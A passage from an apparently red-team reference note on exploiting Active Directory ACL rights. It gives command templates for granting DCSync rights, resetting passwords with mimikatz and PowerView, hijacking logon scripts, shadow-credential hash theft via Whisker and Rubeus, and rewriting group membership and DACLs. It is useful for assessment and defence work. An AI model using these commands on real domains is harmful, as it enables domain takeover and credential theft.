* Admin SD Holders: `(AdminCount=1)`
* For GPO: `(objectClass=groupPolicyContainer)`

`Grouper2` can also be used, notably in a more thorough review of GPO including the definition of user rights (`Active Directory - GPO users rights`) and permissions on scripts and MSI packages executed / deployed through GPO.

```bash
Grouper2.exe -g -f <OUTPUT_HTML>
Grouper2.exe -u "<USERNAME>" -p "<PASSWORD>" -s "\\<DC_HOSTNAME | DC_IP>\SYSVOL" -g -f <OUTPUT_HTML>
```

The exploitable permissions, presented below, are of particular interest if attributed for one of the following groups:

* `Everyone`, SID: `S-1-1-0`
* `Anonymous`, SID: `S-1-5-7`
* `Authenticated Users`, SID: `S-1-5-11`
* `Users`, SID: `S-1-5-32-545`
* `Domain Users`, SID: `S-1-5-<DOMAIN>-513`
* `Domain Computers`, SID: `S-1-5-<DOMAIN>-515`

### Domain root object exploitation

The domain root object yields the replication rights on the domain, necessary to make use of the `DRSUAPI` replication functions and that can be leveraged to conduct a `DCSync` attack.

The privileges on the `domain root object` necessary to make replication requests through the `DRSUAPI` are as follow:

* Replicating Directory Changes (`Ds-Replication-Get-Changes`, `ACE GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`)
* Replicating Directory Changes All (`Ds-Replication-Get-Changes-All`, `ACE GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`)

The ownership of the `domain root object`, or the `WriteOwner`, `WriteDACL`, `GenericAll` (on all properties, i.e the `ObjectGuid` of the `ACE` being equal to `00000000-0000-0000-0000-000000000000`) privileges on the `domain root object` can be, directly or indirectly, leveraged to grant the `Ds-Replication-Get-Changes` and `Ds-Replication-Get-Changes-All` privileges on the domain.

```bash
# DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example

# Direct replication rights
Get-ACL -Path "AD:<DOMAIN_ROOT_OBJECT>" | Select -ExpandProperty Access | ? ObjectType -match '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'

# Rights that can be leveraged to modify the domain root object ACL to grant the privileges required for DRSUAPI replication
Get-ACL -Path "AD:<DOMAIN_ROOT_OBJECT>" | Select -ExpandProperty Access | ? ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner'
```

The privileges above can be exploited either using the GUI `RSAT`'s `dsa.msc` utility or using the following `PowerView` PowerShell cmdlets:

```bash
# Specifies ownership of the domain root object if needed (exploits having WriteOwner privilege on the domain root object with out the GenericAll or WriteDACL privileges)
Set-DomainObjectOwner -Verbose -Identity <DOMAIN_ROOT_OBJECT> -OwnerIdentity <SamAccountName | DistinguishedName | SID | GUID>
Set-DomainObjectOwner -Verbose -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN_FQDN> -Credential <PSCredentials> -Identity <DOMAIN_ROOT_OBJECT> -OwnerIdentity <SamAccountName | DistinguishedName | SID | GUID> -Verbose

# Once the domain owner is changed, the GenericAll privilege can be granted to users using the new owner identity
Add-DomainObjectAcl -Verbose -TargetIdentity <DOMAIN_ROOT_OBJECT> -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights DCSync
Add-DomainObjectAcl -Verbose -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN_FQDN> -Credential <PSCredentials> -TargetIdentity <DOMAIN_ROOT_OBJECT> -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights DCSync
```

Alternatively, a more manual approach, using the `RSAT` `Get-Acl` and `Set-Acl` PowerShell cmdlets can be conducted (script largely inspired from `gdedrouas` 's `Exchange-AD-Privesc`):

```bash
# If needed, on a system with out the RSAT installed
# Import-Module C:\Tools\Microsoft.ActiveDirectory.Management.dll

New-PSDrive -Name AD -PSProvider ActiveDirectory -Root "//RootDSE/" -Server "<DC_IP>"
$acl = Get-ACL "AD:<DOMAIN_ROOT_OBJECT>"
$sidStr = "<USER_SID>"
$sid = New-Object System.Security.Principal.SecurityIdentifier $sidStr
$objectGuid = New-Object Guid  1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
$identity = [System.Security.Principal.IdentityReference] $sid
$adRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
$type = [System.Security.AccessControl.AccessControlType] "Allow"
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
$acl.AddAccessRule($ace)
$objectGuid = New-Object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
$acl.AddAccessRule($ace)
Set-Acl -AclObject $acl "AD:<DOMAIN_ROOT_OBJECT>"
```

### Users and groups permissions exploitation

**Summary**

The access rights detailed below can be exploited to gain control over an Active Directory object.

The `GenericAll` and `WriteProperty` rights apply over the attribute specified by its `ObjectGuid` (`ObjectType` property from PowerShell cmdlet). If the `ObjectGuid` is equal to `00000000-0000-0000-0000-000000000000`, the right apply to all the properties of the object.

If the `InheritedObjectType` (`PropagationFlags`) is set to `InheritOnly`, the access right define by the ACE only apply to the child objects and not the object itself.

| Object type | Privilege                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Description                                                                                                                                                                                                                                                                                                           |                                                             |                                                        |
| ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------- | ------------------------------------------------------ |
| User        | `GenericAll` (`RIGHT_GENERIC_ALL`).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Full rights on the security object (including `WriteOwner` and `WriteDacl` rights), can be used to change the user password.                                                                                                                                                                                          |                                                             |                                                        |
| User        | <p><code>GenericWrite</code> (<code>RIGHT\_GENERIC\_WRITE</code>).<br><br>The associated <code>Rights-GUID</code> should normally be undefined (if retrieved using PowerView) or equal to <code>00000000-0000-0000-0000-000000000000</code>.</p>                                                                                                                                                                                                                                                                                                                                                           | <p>Ability to update any non-protected object (almost) all properties values and notably update the <code>Script-Path</code> or <code>servicePrincipalName</code> properties.<br><br><strong>Does not provide the ability to reset an user password.</strong><br><br>Equivalent to: <code>RIGHT\_READ\_CONTROL</code> | <code>RIGHT\_DS\_WRITE\_PROPERTY</code> (on all properties) | <code>RIGHT\_DS\_WRITE\_PROPERTY\_EXTENDED</code>.</p> |
| User        | <p><code>WriteProperty</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY</code>) to <code>all properties</code>.<br><br><code>Rights-GUID</code> undefined (if retrieved using <code>PowerView</code>) or equal to <code>00000000-0000-0000-0000-000000000000</code>.</p>                                                                                                                                                                                                                                                                                                                                           | Similar to the `GenericWrite` right.                                                                                                                                                                                                                                                                                  |                                                             |                                                        |
| User        | <p><code>ExtendedRight</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY\_EXTENDED</code>)'s <code>ForceChangePassword</code>.<br><br><code>Rights-GUID</code>: <code>00299570-246d-11d0-a768-00aa006e0529</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                              | Ability to change the user password with out knowledge of the current user's password.                                                                                                                                                                                                                                |                                                             |                                                        |
| User        | <p><code>AllExtendedRights</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY\_EXTENDED</code>).<br><br><code>ActiveDirectoryRights</code>: <code>ExtendedRight</code> and <code>Rights-GUID</code> undefined (if retrieved using <code>PowerView</code>) or equal to <code>00000000-0000-0000-0000-000000000000</code>.</p>                                                                                                                                                                                                                                                                                         | Ability to perform any action associated with extended Active Directory rights against the object, and notably `ForceChangePassword` which be used to change the user password.                                                                                                                                       |                                                             |                                                        |
| User        | `WriteOwner` (`RIGHT_WRITE_OWNER`).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Ability to change the owner of the user, thus granting complete control over the user and notably the ability to change the user's password.                                                                                                                                                                          |                                                             |                                                        |
| User        | `WriteDacl` (`RIGHT_WRITE_DAC`).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Ability to change the `DACL` of the user, thus granting complete control over the user and notably the ability to add ACE to change the user's password.                                                                                                                                                              |                                                             |                                                        |
| User        | <p><code>WriteProperty</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY</code>) to <code>Script-Path</code>.<br><br><code>Rights-GUID</code>: <code>bf9679a8-0de6-11d0-a285-00aa003049e2</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                               | Ability to update the `user logon script path` which will be executed on the system upon user logon.                                                                                                                                                                                                                  |                                                             |                                                        |
| User        | <p><code>WriteProperty</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY</code>) to <code>Public-Information</code> or <code>Public-Information/servicePrincipalName</code>.<br><br><code>Public-Information</code>'s <code>Rights-GUID</code>: <code>e48d0154-bcf8-11d1-8702-00c04fb96050</code>.<br><br><code>servicePrincipalName</code>'s <code>Rights-GUID</code>: <code>f3a64788-5306-11d1-a9c5-0000f80367c1</code>.</p>                                                                                                                                                                                      | Ability to define or update the `Public-Information` allows to define or write an user `servicePrincipalName`, which exposes the account to Kerberoasting.                                                                                                                                                            |                                                             |                                                        |
| User        | <p><code>WriteProperty</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY</code>) to <code>Public-Information</code> or <code>Public-Information/User-Principal-Name</code> and <code>Public-Information/Alt-Security-Identities</code>.<br><br><code>Public-Information</code>'s <code>Rights-GUID</code>: <code>e48d0154-bcf8-11d1-8702-00c04fb96050</code>.<br><br><code>User-Principal-Name</code>'s <code>Rights-GUID</code>: <code>28630ebb-41d5-11d1-a9c1-0000f80367c1</code>.<br><br><code>Alt-Security-Identities</code>'s <code>Rights-GUID</code>: <code>00fbf30c-91fe-11d1-aebc-0000f80367c1</code>.</p> | Ability to define or update the `Public-Information` allows to define or write the `User-Principal-Name` or `Alt-Security-Identities`, which can be used to authenticate using a controlled trusted certificate.                                                                                                      |                                                             |                                                        |
| User        | <p><code>WriteProperty</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY</code>) to <code>msDS-KeyCredentialLink</code>.<br><br><code>msDS-KeyCredentialLink</code>'s <code>Rights-GUID</code>: <code>5b47d60f-6090-40b2-9f37-2a4de88f3063</code>.</p>                                                                                                                                                                                                                                                                                                                                                              | Ability to define or update the `msDS-KeyCredentialLink` attribute allows to set a `Key Credential` to request `TGT` for the user through `PKINIT` authentication (`Key Trust` model).                                                                                                                                |                                                             |                                                        |
| Group       | `GenericAll` (`RIGHT_GENERIC_ALL`).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Full rights on the security object (including `WriteOwner` and `WriteDacl` rights), can be used to add an user to the group.                                                                                                                                                                                          |                                                             |                                                        |
| Group       | <p><code>GenericWrite</code> (<code>RIGHT\_GENERIC\_WRITE</code>)<br><br>The associated <code>Rights-GUID</code> should normally be undefined (if retrieved using PowerView) or equal to <code>00000000-0000-0000-0000-000000000000</code></p>                                                                                                                                                                                                                                                                                                                                                             | <p>Ability to update any non-protected object (almost) all attributes and notably the member attribute, thus allowing oneself to add others security principals to the group.<br><br>Equivalent to: <code>RIGHT\_READ\_CONTROL</code>                                                                                 | <code>RIGHT\_DS\_WRITE\_PROPERTY</code> (on all properties) | <code>RIGHT\_DS\_WRITE\_PROPERTY\_EXTENDED</code>.</p> |
| Group       | <p><code>WriteProperty</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY</code>) to <code>all properties</code><br><br><code>Rights-GUID</code> undefined (if retrieved using <code>PowerView</code>) or equal to <code>00000000-0000-0000-0000-000000000000</code></p>                                                                                                                                                                                                                                                                                                                                             | Similar to the `GenericWrite` rights.                                                                                                                                                                                                                                                                                 |                                                             |                                                        |
| Group       | <p><code>Self</code> <code>All validated write</code> or <code>Self-Membership</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY\_EXTENDED</code>).<br><br><code>All validated write</code>: <code>Rights-GUID</code> undefined (if retrieved using <code>PowerView</code>) or equal to <code>00000000-0000-0000-0000-000000000000</code>.<br><br><code>Self-Membership</code>'s <code>Rights-GUID</code>: <code>bf9679c0-0de6-11d0-a285-00aa003049e2</code>.</p>                                                                                                                                                   | Ability to update any non-protected group members by adding/removing one's own account to the group.                                                                                                                                                                                                                  |                                                             |                                                        |
| Group       | `WriteOwner` (`RIGHT_WRITE_OWNER`).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Ability to change the owner of the group, thus granting complete control over the group and notably the ability to add others security objects to the group.                                                                                                                                                          |                                                             |                                                        |
| Group       | `WriteDacl` (`RIGHT_WRITE_DAC`).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Ability to change the `DACL` of the group, thus granting complete control over the group and notably the ability to add others security objects to the group.                                                                                                                                                         |                                                             |                                                        |
| Group       | <p><code>WriteProperty</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY</code>) to the <code>Member</code> attribute.<br><br><code>Member</code>'s <code>Rights-GUID</code>: <code>bf9679c0-0de6-11d0-a285-00aa003049e2</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                | Ability to update any non-protected group members, thus allowing to add others security principals to the group.                                                                                                                                                                                                      |                                                             |                                                        |

**User - GenericAll / ExtendedRight's ForceChangePassword / AllExtendedRights**

The `net user` built-in utility, `RSAT`'s `Set-ADAccountPassword` / `PowerView`'s `Set-DomainUserPassword` PowerShell cmdlets, and `mimikatz`'s `lsadump::setntlm` function can be used to reset a vulnerable user's password:

```bash
# net user will only allow password reset if a GenericAll ACE is exploited.
net user <USERNAME> <PASSWORD> /domain

Set-ADAccountPassword -Identity <SamAccountName | DistinguishedName | SID | GUID> -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "<PASSWORD>" -Force)
Set-ADAccountPassword -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredentials> -Identity <SamAccountName | DistinguishedName | SID | GUID> -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "<PASSWORD>" -Force)

$UserPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
Set-DomainUserPassword -Identity <SamAccountName | DistinguishedName | SID | GUID> -AccountPassword $UserPassword
Set-DomainUserPassword -Domain <DOMAIN> -Credential <PSCredentials> -Identity <SamAccountName | DistinguishedName | SID | GUID> -AccountPassword $UserPassword

mimikatz # privilege::debug
mimikatz # lsadump::setntlm /server:<DC_FQDN | HOSTNAME> /user:<USERNAME> [/password:<PASSWORD> | /ntlm:<NT_HASH>]
```

**User - GenericWrite / Write-Property to all attributes or to the Script-Path attribute**

The `RSAT`'s `Set-ADObject` and `PowerView`'s `Set-DomainObject` PowerShell cmdlets can be used to modify the properties of a security object.

```bash
Set-ADObject -Identity <SamAccountName | DistinguishedName | SID | GUID> [-Add / -Replace] @{scriptpath="\\<IP>\<SHARE>\<SCRIPT>"}
Set-ADObject -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredentials> -Identity <SamAccountName | DistinguishedName | SID | GUID> [-Add / -Replace] @{scriptpath="\\<IP>\<SHARE>\<SCRIPT>"}

Set-DomainObject -Identity <SamAccountName | DistinguishedName | SID | GUID> -Set @{scriptpath="\\<IP>\<SHARE>\<SCRIPT>"}
Set-DomainObject -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredentials> -Identity <SamAccountName | DistinguishedName | SID | GUID> -Set @{scriptpath="\\<IP>\<SHARE>\<SCRIPT>"}
```

**User - GenericWrite / Write-Property to all attributes or to the Public-Information/servicePrincipalName attribute**

The `Public-Information` attribute contains, among others, the `User-Principal-Name` and `Alt-Security-Identities` properties.

The `ObjectType` of the `Public-Information` is `e48d0154-bcf8-11d1-8702-00c04fb96050`.

The `RSAT`'s `Set-ADUser` PowerShell cmdlet can be used to define or update the specified user `servicePrincipalName`.

```bash
# SPN example: SQLservice\accounting.corp.contoso.com:1456
Set-ADUser -Identity <SamAccountName | DistinguishedName | SID | GUID> -ServicePrincipalNames @{Add="<SPN>"}"}
```

**User - GenericWrite / Write-Property to all attributes or to the Public-Information/User-Principal-Name & Public-Information/Alt-Security-Identities attributes**

The `Public-Information` attribute contains, among others, the `User-Principal-Name` and `Alt-Security-Identities` properties.

The `ObjectType` of the `Public-Information` is `e48d0154-bcf8-11d1-8702-00c04fb96050`.

A certificate issued by a `Certificate Authority (CA)` trusted by the domain must be controlled in order to be able to authenticate using a certificate.

The certificate must allow for remote client authentication, meaning the `EnhancedKeyUsageList` certificate attribute must contain the value `(1.3.6.1.5.5.7.3.2)`. If so, the certificate will be marked as:

```
"The certificate can be used for authenticating a client."
"Garantit votre identité auprès d'un ordinateur distant."
```

The following utilities can be used to interact with the Windows certificate stores:

```bash
# View AD NTAuth trusted CA
certutil -enterprise -viewstore CA

# View local certificate store for current user
certutil -store -user My

Get-ChildItem -Recurse Cert:\CurrentUser\My\ | Format-List Thumbprint,Issuer,Subject,EnhancedKeyUsageList,HasPrivateKey,NotBefore,NotAfter

mmc.exe -> Add/Remove Snap-in (Ctrl + M) -> Selection of one or multiple chosen snap-in -> Certificates -> Personnal -> Certificates
```

Setting the `User-Principal-Name` and `Alt-Security-Identities` properties is more easily done through the `Microsoft Management Console (MMC)` utility. The properties should be set to the `RFC822` name format found in the certificate details using the `mmc.exe` utility.

Once the modification is made, the `kekeo` tool can be used to request a `Ticket-Granting Ticket (TGT)` for the targeted security principal:

```
# UPN name format example: USERNAME@DOMAIN_FQDN.

kekeo# tgt::ask /subject:"<SUBJECT_NAME_CONTAINS>" /castore:current_user /user:<UPN>
```

Note that in order to get around the replication time between Domain Controllers, it is recommended to request a `TGT` from the `KDC` of the Domain Controller on which was done the user object update.

**User - GenericWrite / Write-Property to all attributes or to the msDS-KeyCredentialLink attribute**

*The ability to write a principal (user or computer object)'s `msDS-KeyCredentialLink` attribute can lead to the retrieval of the principal's `NTLM` hash.*

An user's `msDS-KeyCredentialLink` attribute holds `Key Credentials` information for the given user. `Key Credentials` are part of the `Key Trust` model, introduced to support `PKINIT` authentication in environments without a `Public Key Infrastructure (PKI)` trusted by Active Directory (as required to implement the `Certificate Trust` model).

`PKINIT` is a `Kerberos` preauthentication mechanism which uses digital certificates to mutually authenticate the `Key Distribution Center (KDC)` and clients for `Ticket Granting Ticket (TGT)` requests (in `AS-REQ` and `AS-REP` messages). In environments with a `PKI` trusted by both parties, such as `Active Directory Certificate Services (ADCS)`, digital certificates generated and signed by the trusted `Certificate Authority (CA)` will be used for the `PKINIT` authentication. However, to support password-less authentication through `PKINIT` (for example `Windows Hello`) in environments without a trusted `PKI`, the `Key Trust` model was introduced. In this model, `PKINIT` authentication is established using a client's public key that is stored as a `Key Credentials` object in its `msDS-KeyCredentialLink` attribute. The ability to modify an user (or computer) object's `msDS-KeyCredentialLink` attribute can thus be used to obtain a `TGT` for the principal through a `PKINIT` authentication.

To support subsequent `NTLM` `SSO` authentications for users that authenticated using `PKINIT`, Kerberos `User-to-User (U2U)` special `service tickets (ST)` allow a client to retrieve their `NTLM` hash. For more information on `User-to-User (U2U)` `ST` refer to the `[ActiveDirectory] Certificate Services` note (`NTHash retrieval through User-to-User (U2U) special service tickets` section).

The [`Whisker`](https://github.com/eladshamir/Whisker) C# tool can be used to automate the generation of public / private keys and the modification of a targeted object's `msDS-KeyCredentialLink` attribute (given sufficient privileges). Using the generated private key, a `TGT` and subsequently a `U2U` `ST` can be requested using [`Rubeus`](https://github.com/GhostPack/Rubeus) (`Whisker` will print the `Rubeus` command to request both tickets).

```bash
# Adds a new value to the targeted object's msDS-KeyCredentialLink attribute.
# The public / private keys will be generated automatically and protected using a randomly generated password or the password specified using /password:<PASSWORD>.
# The DeviceID of the generated KeyCredential should be kept to remove the added key.
Whisker.exe add /target:<USERNAME>
Whisker.exe add /target:<USERNAME> /domain:<DOMAIN_FQDN> /dc:<DC> /path:<EXPORTED_CERTIFCATE_FILE> /password:<PASSWORD>

# Requests a TGT for the given user using the previously defined certificate and extract the NTLM hash of the account using a subsequent U2U ST request.
# This command is automatically generated by Whisker upon adding a certificate.
Rubeus.exe asktgt /user:<USERNAME> /certificate:<BASE64_CERTIFICATE> /password:"<CERTIFICATE_PASSWORD>" /domain:<DOMAIN_FQDN> /dc:<DC> /getcredentials /show

# Lists the DeviceID and creation timestamp of the KeyCredentials stored in the msDS-KeyCredentialLink attribute of the specified object.
Whisker.exe list /target:<USERNAME>
Whisker.exe list /target:<USERNAME> /domain:<DOMAIN_FQDN> /dc:<DC

# Removes the KeyCredential specified using its DeviceID for the given object.
Whisker.exe remove /target:<USERNAME> /deviceID:<DEVICE_ID>
Whisker.exe remove /target:<USERNAME> /deviceID:<DEVICE_ID> /domain:<DOMAIN_FQDN> /dc:<DC
```

**Group - GenericAll / GenericWrite / AddMembers / AllExtendedRights / WriteProperty to all properties / WriteProperty to the Member attribute / Self all or Self-Membership**

Generic Write access grants the ability to write to any non-protected attribute on the target object, including `members` for a group.

`net group`, `RSAT`'s `Add-ADGroupMember`, and `PowerView`'s `Add-DomainGroupMember` PowerShell cmdlets can be used to add others security objects to the specified group. Additionally, the `Active Directory Users and Computers` snap-in can be used to add or remove members from Active Directory groups using a graphical interface.

Note that the `Self-Membership` right does not seem to be exploitable using the `net group` command but can be exploited using the PowerShell `ActiveDirectory` module `Add-ADGroupMember`.

```bash
net group "<GROUP>" <USERNAME> /add /domain

Add-ADGroupMember -Identity "<GROUP>" -Members [<SamAccountName | DistinguishedName | SID | GUID>, ...]
Add-ADGroupMember -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN> -Credential <PSCredentials> -Identity "<GROUP>" -Members <USERNAME>

Add-DomainGroupMember -Identity "<GROUP>" -Members [<SamAccountName | DistinguishedName | SID | GUID>, ...]
Add-DomainGroupMember -Domain <DOMAIN> -Credential <PSCredentials> -Identity "<GROUP>" -Members [<SamAccountName | DistinguishedName | SID | GUID>, ...]
```

**User / group - WriteOwner**

The `RSAT` `Get-ACL` and `Set-ACL`, and `PowerView`'s `Set-DomainObjectOwner` PowerShell cmdlets can be used to change the owner of a security object. Being the owner of an user can be leveraged to change the user password and being the owner of a group can allows for the addition of others security objects to the group.

```bash
$ACL = Get-ACL -Path "AD:<OBJECT_DISTINGUISHED_NAME>"
$Principal = New-Object System.Security.Principal.NTAccount("<DOMAIN>", "<USERNAME | GROUPNAME>")
$ACL.SetOwner($Principal)
Set-Acl -Path "AD:<OBJECT_DISTINGUISHED_NAME>" -AclObject $ACL

Set-DomainObjectOwner -Verbose -Identity <SamAccountName | DistinguishedName | SID | GUID> -OwnerIdentity <SamAccountName | DistinguishedName | SID | GUID>
Set-DomainObjectOwner -Verbose -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN> -Credential <PSCredentials> -Identity <SamAccountName | DistinguishedName | SID | GUID> -OwnerIdentity <SamAccountName | DistinguishedName | SID | GUID>

# Once the user / group owner is changed, the GenericAll privilege can be granted to users using the new owner identity.
# Refer to the "User - GenericAll" and "Group - GenericAll" parts for further exploitation.
Add-DomainObjectAcl -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -TargetIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights All
```

**User / group - WriteDacl**

`PowerView`'s `Add-DomainObjectAcl` and the `ActiveDirectory` module's `Get-Acl` / `Set-Acl` PowerShell cmdlet can be used to modify the specified object `ACL`.

`Add-DomainObjectAcl` can be used to add the following rights: `GenericAll` and `ExtendedRight`'s `ForceChangePassword`. The `WriteMembers` option is documented as `WriteProperty` to the `Member` attribute but is non functional.

Additionally, the `Active Directory Users and Computers` snap-in can be used to modify `ACL` using a graphical interface.

```bash
# Procedure to the modify an object's ACL using ADUC.
mmc.exe -> File -> Add/Remove Snap-in... (Ctrl + M) -> Active Directory Users and Computers
-> <DOMAIN> -> System -> right click AdminSDHolder -> Properties -> Security -> Advanced -> Add
-> Select a principal
-> Type: Allow
-> Permissions: FullControl / Write all properties / Modify permissions / Modify owner / ...

# Automated modification using PowerView's Add-DomainObjectAcl to grant the GenericAll and ExtendedRight's ForceChangePassword rights.
# TargetIdentity: security object that will be modified
# PrincipalIdentity: security object that will be given the right over the targeted object
Add-DomainObjectAcl -Verbose -TargetIdentity <SamAccountName | DistinguishedName | SID | GUID> -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights <All | ResetPassword | WriteMembers>
Add-DomainObjectAcl -Verbose -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredentials> -TargetIdentity <SamAccountName | DistinguishedName | SID | GUID> -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights <All | ResetPassword | WriteMembers>

# Manual modification using PowerShell ActiveDirectory module, that can be used to set specific ACE (GenericAll, ExtendedRight's ForceChangePassword, and WriteProperty to the Member attribute below).
$Object = "AD:\<DistinguishedName>"
$User = '<USERNAME>'
$UserSID = [System.Security.Principal.SecurityIdentifier] $(Get-ADUser $User).SID
$ObjectACL = Get-ACL -Path $Object
# Adds the ACE GenericAll.
$ACE_FullControl = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AccessControlType]::Allow,
    [DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
$ObjectACL.AddAccessRule($ACE_FullControl)
# Adds the ACE WriteProperty to the Member attribute.
$ACE_WriteMember = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty,
    [System.Security.AccessControl.AccessControlType]::Allow,
    "bf9679c0-0de6-11d0-a285-00aa003049e2",
    [DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
$ObjectACL.AddAccessRule($ACE_WriteMember)
# Adds the ACE ExtendedRight's User-Force-Change-Password.
$ACE_ResetPassword = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
    [System.Security.AccessControl.AccessControlType]::Allow,
    "00299570-246d-11d0-a768-00aa006e0529",
    [DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
$ObjectACL.AddAccessRule($ACE_ResetPassword)
Set-Acl -Path $Object -AclObject $ObjectACL
```

**Automated exploitation**

The PowerShell cmdlet `Invoke-ACLpwn`, leveraging `SharpHound.exe` and thus `.NET 3.5`, can be used to exhaustively enumerate the domain security principal objects `DACLs` and find potential paths leading to privileges escalation.

Note that `Invoke-ACLpwn` will actively add the specified user to security groups it has control over.

```bash
Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe

Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -Domain '<DOMAIN>' -Username '<USERNAME>' -Password '<PASSWORD>'
```

### Computer machine account ACL exploitation

**Summary**

| Object type | Privilege                                                                                                                                                                                                                                                                                                                                                 | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Computer    | `GenericAll` (`RIGHT_GENERIC_ALL`)                                                                                                                                                                                                                                                                                                                        | Full rights on the computer account (including `WriteOwner` and `WriteDacl` rights), sufficient for all the following compromise techniques.                                                                                                                                                                                                                                                                                                                                                                                  |
| Computer    | `WriteOwner` (`RIGHT_WRITE_OWNER`)                                                                                                                                                                                                                                                                                                                        | Ability to change the owner of the computer account, granting sufficient privileges for all the following compromise techniques.                                                                                                                                                                                                                                                                                                                                                                                              |
| Computer    | `WriteDacl` (`RIGHT_WRITE_DAC`)                                                                                                                                                                                                                                                                                                                           | Ability to change the `DACL` of the computer account, allowing oneself to grant any rights on the computer account.                                                                                                                                                                                                                                                                                                                                                                                                           |
| Computer    | <p><code>AllExtendedRights</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY\_EXTENDED</code>)<br><br><code>ActiveDirectoryRights</code>: <code>ExtendedRight</code> and <code>Rights-GUID</code> undefined (if retrieved using <code>PowerView</code>) or equal to <code>00000000-0000-0000-0000-000000000000</code></p>                                          | <p>Ability to perform any action associated with extended Active Directory rights against the object.<br><br>Includes the possibility to retrieve the <code>LAPS</code> password (if <code>LAPS</code> is deployed on the affected computers) or reset the computer account password.</p>                                                                                                                                                                                                                                     |
| Computer    | <p><code>ExtendedRight</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY\_EXTENDED</code>)'s <code>ForceChangePassword</code><br><br><code>Rights-GUID</code>: <code>00299570-246d-11d0-a768-00aa006e0529</code></p>                                                                                                                                               | <p>Ability to change the computer account password with out knowledge of the current password, which can be leveraged to impersonate the computer account from an Active Directory standpoint.<br><br><strong>The password update will not be replicated on the computer itself, preventing remote code execution (through <code>Kerberos</code></strong> <strong><code>service tickets</code>) and will greatly impact the computer operability.</strong></p>                                                                |
| Computer    | <p><code>GenericWrite</code> (<code>RIGHT\_GENERIC\_WRITE</code>)<br><br><code>WriteProperty</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY</code>) to <code>all properties</code><br><br>The associated <code>Rights-GUID</code> should normally be undefined (if retrieved using PowerView) or equal to <code>00000000-0000-0000-0000-000000000000</code></p> | <p>Ability to update all (non protected) attributes of the computer account and notably the <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> attribute.<br><br>Does not provide the ability to reset a computer account password.</p>                                                                                                                                                                                                                                                                                    |
